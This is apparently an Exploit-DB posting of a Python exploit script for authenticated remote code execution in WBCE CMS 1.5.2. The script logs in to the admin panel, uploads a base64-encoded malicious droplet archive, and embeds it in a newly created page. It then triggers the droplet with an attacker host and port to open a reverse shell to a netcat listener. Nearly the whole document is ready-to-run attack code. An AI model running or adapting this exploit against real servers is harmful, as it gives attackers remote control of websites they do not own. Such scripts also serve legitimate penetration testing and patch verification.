WBCE CMS 1.5.2 – Remote Code Execution (RCE) (Authenticated)
# Exploit Title: WBCE CMS 1.5.2 - Remote Code Execution (RCE) (Authenticated) # Date: 02/01/2022 # Exploit Author: Antonio Cuomo (arkantolo) # Vendor Homepage: https://wbce.org/ # Software Link: https://wbce.org/de/downloads/ # Version: 1.5.2 # Tested on: Linux - PHP Version: 8.0.14 # Github repo: https://github.com/WBCE/WBCE_CMS # -*- coding: utf-8 -*- #/usr/bin/env python import requests import string import base64 import argparse import time import io from bs4 import BeautifulSoup #pip install beautifulsoup4 PAYLOAD = 'UEsDBBQAAAAIAI1+n1Peb3ztBAMAAFUHAAAMAAAAdDE4YmtuZXYucGhwhVVtT9swEP6OxH8wUaQmUqAJ24epUSYh6CY0CbQC2weGIje5UKuJndkOhSH++85OQqqqtBIizr08eZ6783U8nujoy3zJ4enwAF8ODxToVLMK0pJVTHuhH7u/prOby+urxIlOQid2WZ246Wz68256c3vvSHhKWe08xG4tpN70GJvxZYuGL1PF/kESfQ7D2F1JpiGlCW/KMnZBSiHf39QCyjIZNZxWQI5pTFYxYXlMxnPGx2pBjtkodnMKleBJiCeYN494YIVXNDzTTPAUnpnSyhvVGddlWgi5HPn+q1uzPBlMnm9yrDE5jvzXWjKuUbMznc2uZxNyTvlIExPp+DE8oyfy47cuxX+1lrC11EKx51SBViz3/E04o66H62PWIXsxUfwGpQIypP4+m11dXn2fkG+UlZATLUgbyxScEHK7YIrg39+GaSCZqNBDKM8JF0icalqeOIifLXImPWeM56aiamm7qkS2TArzX9TAPWxrYFsYmG5wYR9Ky+BTaMt0ZBPWVHV+4rXxG4JAZZLVWkhVQ5ZQKemLFyZf24NTsxqcwJGOH0SbxhUaT7cYkXItRQZKJeaZWtbtrAQb3wtck6Za3kylEpRoZAZej+B/1GxV0xUnFnRdD+oEWpn+pvMSy8D4o9d+4z58CLBAOwKifQGnHwbYkhvnO9mbJjP8C7wnL8RUAHKC9wykgpa1mRBs5cS2EiWsFqwE1PBqbgeIosXcov/GZmeCc7BXiGiQFeNUQ44wcyS3jN86kEHah0BdobeiuPjIU9pORSdyKNZ7VbDhvKnSbEH5I+SpCQOtkvdClUjU67CCfqEE/S4JzC6xE8B4uv6lLsO3JWmXhz/U9/r8B5lNzy6Qrct43eikMPF97rDHEHp7+oS0iYhQWFJrk9J6cKDWaQ3Sd1O7vbi+u91GbkDYT9CCbKFo5O2kd7qfHg7ALnqnu+kNIHvpvRVZKVRnxiD7NpR50xJtWuxw2SVircNaiPsfENJTcpXG06OVfNTt6W7mnc73hztI6fBAgm4kJ2H8H1BLAQI/ABQAAAAIAI1+n1Peb3ztBAMAAFUHAAAMACQAAAAAAAAAIAAAAAAAAAB0MThia25ldi5waHAKACAAAAAAAAEAGACAuZAFVv7XAYC5kAVW/tcB6Bk8KTf+1wFQSwUGAAAAAAEAAQBeAAAALgMAAAAA' def main(): parser = argparse.ArgumentParser(description='WBCE <= 1.5.2 - Remote Code Execution (Authenticated)') parser.add_argument('-x', '--url', type=str, required=True) parser.add_argument('-u', '--user', type=str, required=False) parser.add_argument('-p', '--password', type=str, required=False) parser.add_argument('-ah', '--attacker_host', type=str, required=False) parser.add_argument('-ap', '--attacker_port', type=str, required=False) args = parser.parse_args() print("\nWBCE 1.5.2 - Remote Code Execution (Authenticated)","\nExploit Author: Antonio Cuomo (Arkantolo)\n") exploit(args, PAYLOAD) def exploit(args, payload): s2 = requests.Session() #login body= {'url':'','username_fieldname':'username_t18bknev','password_fieldname':'password_t18bknev','username_t18bknev':args.user,'password_t18bknev':args.password} r = s2.post(args.url+'/admin/login/index.php', data=body, allow_redirects=False) if(r.status_code==302 and r.headers['location'].find('/start/') != -1): print("[*] Login OK") else: print("[*] Login Failed") exit(1) time.sleep(1) #create droplet up = {'userfile':('t18bknev.zip', io.BytesIO(base64.b64decode(PAYLOAD)), "multipart/form-data")} r = s2.post(args.url+'/admin/admintools/tool.php?tool=droplets&upload=1', files=up) if(r.status_code==200 and r.text.find('1 Droplet(s) imported') != -1): print("[*] Droplet OK") else: print("[*] Exploit Failed") exit(1) time.sleep(1) #get csrf token r = s2.get(args.url+'/admin/pages/index.php') soup = BeautifulSoup(r.text, 'html.parser') formtoken = soup.find('input', {'name':'formtoken'})['value'] #create page body= {'formtoken':formtoken,'title':'t18bknev','type':'wysiwyg','parent':'0','visibility':'public','save':''} r = s2.post(args.url+'/admin/pages/add.php', data=body, allow_redirects=False) soup = BeautifulSoup(r.text, 'html.parser') try: page_id = soup.findAll("script")[9].string.split("location.href='https://www.exploit-db.com/exploits/50707/")[-1].split("\");")[0].split("'")[0].split("=")[1] print("[*] Page OK ["+page_id+"]") except: print("[*] Exploit Failed") exit(1) time.sleep(1) #get csrf token print("[*] Getting token") r = s2.get(args.url+'/admin/pages/modify.php?page_id='+page_id) soup = BeautifulSoup(r.text, 'html.parser') formtoken = soup.find('input', {'name':'formtoken'})['value'] section_id = soup.find('input', {'name':'section_id'})['value'] time.sleep(1) #add droplet to page body= {'page_id':page_id,'formtoken':formtoken,'section_id':section_id,'content'+section_id:'[[t18bknev]]','modify':'save'} r = s2.post(args.url+'/modules/wysiwyg/save.php', data=body, allow_redirects=False) if(r.status_code==200 and r.text.find('Page saved') != -1): print("[*] Adding droplet OK") else: print("[*] Exploit Failed") exit(1) time.sleep(1) input("Please make sure that your nc listner is ready...\n\nPRESS ENTER WHEN READY") body= {'rev_ip':args.attacker_host,'rev_port':args.attacker_port} r = s2.post(args.url+'/pages/t18bknev.php', data=body, allow_redirects=False) if(r.status_code==200): print("[*] Exploit OK - check your listner") exit(0) else: print("[*] Exploit Failed") exit(1) if __name__ == '__main__': main() |